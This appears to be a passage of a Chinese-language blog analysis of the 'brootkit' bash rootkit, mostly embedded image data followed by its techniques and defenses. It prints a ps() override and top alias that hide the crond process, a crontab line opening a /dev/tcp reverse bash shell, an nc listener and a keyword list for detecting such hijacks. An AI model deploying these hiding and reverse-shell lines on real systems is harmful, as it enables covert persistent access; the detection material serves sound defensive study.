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" alt="" />

function ps()
{
        local proc_name hide_proc old_ifs 

        old_ifs=$IFS; IFS=","

        proc_name=`/bin/ps $@`
        proc_name=`echo "$proc_name" | sed -e '/'crond'/d'` 

        echo "$proc_name"
    IFS=$old_ifs
}
//通过bash builtin内建函数隐藏crond进程

aaarticlea/png;base64,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" alt="" />

alias top='top | grep -v crond'

0x1: 建立隐蔽SHELL后门

crontab
* * *  * * exec <> /dev/tcp/127.0.0.1/;exec <&;exec >& >&;/bin/bash --noprofile -i;

在C&C主控端监听指定端口

nc -l 

Relevant Link:

http://blog.csdn.net/nash603/article/details/6152200
http://www.cnblogs.com/zhaoyl/archive/2012/07/07/2580749.html
http://www.cnblogs.com/chengmo/archive/2010/10/20/1855805.html

4. 防御策略

BROOTKIT的亮点主要在于基于BASH的自我隐藏、基于/dev/[tcp、udp]的隐蔽网络连接，如果直接从静态的角度来说很难检测出这个rootkit，或者准确地说是很难将brootkit和正常系统文件区分开来，但是从动态主防的角度是可以检测出brootkit的

. 指令执行捕获
brootkit实现了文件隐藏、进程隐藏，但是黑客在系统上执行的指令依然会被捕获到，例如使用LD_PRELOAD Hook技术

. 网络外连捕获
cat < /dev/tcp/www.baidu.com/

exec <>/dev/tcp/www.google.com/
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&
cat <&
/*
这种网络外连请求好像不是走的socket connect渠道，/dev/tcp是一个伪设备，那可能走的直接是VFS的read、write层了
ring3的LD_PRELOAD glibc function hook
ring0的sys_connect function hook
都无法捕获到这个网络外连请求
http://chenhuican.diandian.com/post/2014-11-07/40063344563
*/

0x1: Bash指令劫持检测

. 通过Bash指令: cut -d: -f1 /etc/passwd，获取当前账户列表
. 遍历列表，调用getpwnam、getgrgid获取每个账户的pw_name、pw_shell，过滤出是shell为非"/sbin/nologin"的账户
. 遍历所有用户的/home/$user$/.bashrc、/home/$user$/.bash_profile，查找是否存在敏感关键字:
    ) alias top=..
    ) alias lsof=..
    ) function ps()..
    ) function netstat()..
    ) function lsof()..
    ) function top()..
. 查找/root/.bashrc、/root/.bash_profile、/etc/profile是否存在敏感关键字:
    ) alias top=..
    ) alias lsof=..
    ) function ps()..
    ) function netstat()..
    ) function lsof()..
    ) function top()..

Relevant Link:

http://tldp.org/LDP/abs/html/devref1.html#DEVTCP
http://www.linuxjournal.com/content/more-using-bashs-built-devtcp-file-tcpip
http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html
